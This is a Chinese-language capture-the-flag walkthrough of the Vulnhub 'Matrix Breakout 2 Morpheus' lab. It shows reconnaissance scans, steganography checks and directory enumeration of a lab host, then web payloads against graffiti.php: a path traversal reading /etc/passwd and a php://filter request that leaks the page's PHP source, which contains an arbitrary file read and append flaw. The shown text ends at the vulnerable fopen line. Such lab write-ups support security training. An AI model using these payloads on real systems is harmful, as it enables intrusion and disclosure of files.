Vulnhub之Matrix Breakout 2 Morpheus靶机详细测试过程 - IT评测·应用市场-qidao123.com技术社区

https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/

复制代码

(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
└─$ sudo netdiscover -i eth1 -r 10.1.1.0/24Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.1.1.1 00:50:56:c0:00:01 1 60 VMware, Inc.
10.1.1.154 00:0c:29:e3:18:3e 1 60 VMware, Inc.
10.1.1.254 00:50:56:e9:4a:e8 1 60 VMware, Inc.

复制代码

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
└─$ sudo nmap -sS -sV -sC -p- 10.1.1.154 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-09 06:11 EDT
Nmap scan report for bogon (10.1.1.154)
Host is up (0.00088s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|_ 256 aa83c351786170e5b7469f07c4ba31e4 (ECDSA)
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-title: Morpheus:1
|_http-server-header: Apache/2.4.51 (Debian)
81/tcp open http nginx 1.18.0
|_http-title: 401 Authorization Required
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Meeting Place
|_http-server-header: nginx/1.18.0
MAC Address: 00:0C:29:E3:18:3E (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.13 seconds

复制代码

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
└─$ ls
nmap_full_scan trinity.jpeg
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
└─$ steghide extract -sf trinity.jpeg
Enter passphrase:
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
└─$ stegseek trinity.jpeg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Progress: 99.67% (133.0 MB)
[!] error: Could not find a valid passphrase.
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
└─$ exiftool trinity.jpeg
ExifTool Version Number : 12.49
File Name : trinity.jpeg
Directory : .
File Size : 44 kB
File Modification Date/Time : 2023:04:09 06:14:06-04:00
File Access Date/Time : 2023:04:09 06:15:07-04:00
File Inode Change Date/Time : 2023:04:09 06:14:06-04:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
Profile CMM Type : Linotronic
Profile Version : 2.1.0
Profile Class : Display Device Profile
Color Space Data : RGB
Profile Connection Space : XYZ
Profile Date Time : 1998:02:09 06:49:00
Profile File Signature : acsp
Primary Platform : Microsoft Corporation
CMM Flags : Not Embedded, Independent
Device Manufacturer : Hewlett-Packard
Device Model : sRGB
Device Attributes : Reflective, Glossy, Positive, Color
Rendering Intent : Perceptual
Connection Space Illuminant : 0.9642 1 0.82491
Profile Creator : Hewlett-Packard
Profile ID : 0
Profile Copyright : Copyright (c) 1998 Hewlett-Packard Company
Profile Description : sRGB IEC61966-2.1
Media White Point : 0.95045 1 1.08905
Media Black Point : 0 0 0
Red Matrix Column : 0.43607 0.22249 0.01392
Green Matrix Column : 0.38515 0.71687 0.09708
Blue Matrix Column : 0.14307 0.06061 0.7141
Device Mfg Desc : IEC http://www.iec.ch
Device Model Desc : IEC 61966-2.1 Default RGB colour space - sRGB
Viewing Cond Desc : Reference Viewing Condition in IEC61966-2.1
Viewing Cond Illuminant : 19.6445 20.3718 16.8089
Viewing Cond Surround : 3.92889 4.07439 3.36179
Viewing Cond Illuminant Type : D50
Luminance : 76.03647 80 87.12462
Measurement Observer : CIE 1931
Measurement Backing : 0 0 0
Measurement Geometry : Unknown
Measurement Flare : 0.999%
Measurement Illuminant : D65
Technology : Cathode Ray Tube Display
Red Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Green Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Blue Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Image Width : 709
Image Height : 399
Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 709x399
Megapixels : 0.283
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
└─$
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
└─$ binwalk -e trinity.jpeg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
382 0x17E Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"

复制代码

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
└─$ curl http://10.1.1.154/robots.txt
There's no white rabbit here. Keep searching!
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
└─$ nikto -h http://10.1.1.154
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.1.1.154
+ Target Hostname: 10.1.1.154
+ Target Port: 80
+ Start Time: 2023-04-09 06:14:42 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.51 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 15c, size: 5cf63c252ab85, mtime: gzip
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ 7889 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2023-04-09 06:15:41 (GMT-4) (59 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
*********************************************************************
Portions of the server's headers (Apache/2.4.51) are not in
the Nikto 2.1.6 database or are newer than the known string. Would you like
to submit this information (*no server specific data*) to CIRT.net
for a Nikto update (or you may email to sullo@cirt.net) (y/n)?

复制代码

──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
└─$ gobuster dir -u http://10.1.1.154 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.js,.sh,.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.1.1.154
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: php,html,js,sh,txt
[+] Timeout: 10s
===============================================================
2023/04/09 06:17:21 Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 275]
/.php (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 348]
/javascript (Status: 301) [Size: 313] [--> http://10.1.1.154/javascript/]
/robots.txt (Status: 200) [Size: 47]
/graffiti.txt (Status: 200) [Size: 139]
/graffiti.php (Status: 200) [Size: 451]
/.php (Status: 403) [Size: 275]
/.html (Status: 403) [Size: 275]
/server-status (Status: 403) [Size: 275]
Progress: 1318968 / 1323366 (99.67%)
===============================================================
2023/04/09 06:19:32 Finished
===============================================================

复制代码

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
└─$ curl http://10.1.1.154/graffiti.txt
Mouse here - welcome to the Nebby!
Make sure not to tell Morpheus about this graffiti wall.
It's just here to let us blow off some steam.

复制代码

http://10.1.1.154/graffiti.php

复制代码

message=bob&file=../../../../../etc/passwd

复制代码

message=bob&file=php://filter/convert.base64-encode/resource=graffiti.php

复制代码

PGgxPgo8Y2VudGVyPgpOZWJ1Y2hhZG5lenphciBHcmFmZml0aSBXYWxsCgo8L2NlbnRlcj4KPC9oMT4KPHA+Cjw/cGhwCgokZmlsZT0iZ3JhZmZpdGkudHh0IjsKaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT0gJ1BPU1QnKSB7CiAgICBpZiAoaXNzZXQoJF9QT1NUWydmaWxlJ10pKSB7CiAgICAgICAkZmlsZT0kX1BPU1RbJ2ZpbGUnXTsKICAgIH0KICAgIGlmIChpc3NldCgkX1BPU1RbJ21lc3NhZ2UnXSkpIHsKICAgICAgICAkaGFuZGxlID0gZm9wZW4oJGZpbGUsICdhKycpIG9yIGRpZSgnQ2Fubm90IG9wZW4gZmlsZTogJyAuICRmaWxlKTsKICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJF9QT1NUWydtZXNzYWdlJ10pOwoJZndyaXRlKCRoYW5kbGUsICJcbiIpOwogICAgICAgIGZjbG9zZSgkZmlsZSk7IAogICAgfQp9CgovLyBEaXNwbGF5IGZpbGUKJGhhbmRsZSA9IGZvcGVuKCRmaWxlLCJyIik7CndoaWxlICghZmVvZigkaGFuZGxlKSkgewogIGVjaG8gZmdldHMoJGhhbmRsZSk7CiAgZWNobyAiPGJyPlxuIjsKfQpmY2xvc2UoJGhhbmRsZSk7Cj8+CjxwPgpFbnRlciBtZXNzYWdlOiAKPHA+Cjxmb3JtIG1ldGhvZD0icG9zdCI+CjxsYWJlbD5NZXNzYWdlPC9sYWJlbD48ZGl2PjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZXNzYWdlIj48L2Rpdj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9ImdyYWZmaXRpLnR4dCI+CjxkaXY+PGJ1dHRvbiB0eXBlPSJzdWJtaXQiPlBvc3Q8L2J1dHRvbj48L2Rpdj4KPC9mb3JtPgpZbTlpQ2c9PQ==

复制代码

─(kali㉿kali)-[~/Desktop/Vulnhub/Matrix_breakout]
└─$ echo 'PGgxPgo8Y2VudGVyPgpOZWJ1Y2hhZG5lenphciBHcmFmZml0aSBXYWxsCgo8L2NlbnRlcj4KPC9oMT4KPHA+Cjw/cGhwCgokZmlsZT0iZ3JhZmZpdGkudHh0IjsKaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT0gJ1BPU1QnKSB7CiAgICBpZiAoaXNzZXQoJF9QT1NUWydmaWxlJ10pKSB7CiAgICAgICAkZmlsZT0kX1BPU1RbJ2ZpbGUnXTsKICAgIH0KICAgIGlmIChpc3NldCgkX1BPU1RbJ21lc3NhZ2UnXSkpIHsKICAgICAgICAkaGFuZGxlID0gZm9wZW4oJGZpbGUsICdhKycpIG9yIGRpZSgnQ2Fubm90IG9wZW4gZmlsZTogJyAuICRmaWxlKTsKICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJF9QT1NUWydtZXNzYWdlJ10pOwoJZndyaXRlKCRoYW5kbGUsICJcbiIpOwogICAgICAgIGZjbG9zZSgkZmlsZSk7IAogICAgfQp9CgovLyBEaXNwbGF5IGZpbGUKJGhhbmRsZSA9IGZvcGVuKCRmaWxlLCJyIik7CndoaWxlICghZmVvZigkaGFuZGxlKSkgewogIGVjaG8gZmdldHMoJGhhbmRsZSk7CiAgZWNobyAiPGJyPlxuIjsKfQpmY2xvc2UoJGhhbmRsZSk7Cj8+CjxwPgpFbnRlciBtZXNzYWdlOiAKPHA+Cjxmb3JtIG1ldGhvZD0icG9zdCI+CjxsYWJlbD5NZXNzYWdlPC9sYWJlbD48ZGl2PjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZXNzYWdlIj48L2Rpdj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9ImdyYWZmaXRpLnR4dCI+CjxkaXY+PGJ1dHRvbiB0eXBlPSJzdWJtaXQiPlBvc3Q8L2J1dHRvbj48L2Rpdj4KPC9mb3JtPgpZbTlpQ2c9PQ==' | base64 -d
<h1>
<center>
Nebuchadnezzar Graffiti Wall
</center>
</h1>
<p>
<?php
$file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {
if (isset($_POST['file'])) {
$file=$_POST['file'];
}
if (isset($_POST['message'])) {
$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
fwrite($handle, $_POST['message']);
fwrite($handle, "\n");
fclose($file);
}
}
// Display file
$handle = fopen($file,"r");
while (!feof($handle)) {
echo fgets($handle);
echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message:
<p>
<form method="post">
<label>Message</label><input type="text" name="message">
<input type="hidden" name="file" value="graffiti.txt">
<button type="submit">Post</button>
</form>
Ym9iCg==

复制代码

$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);

复制代码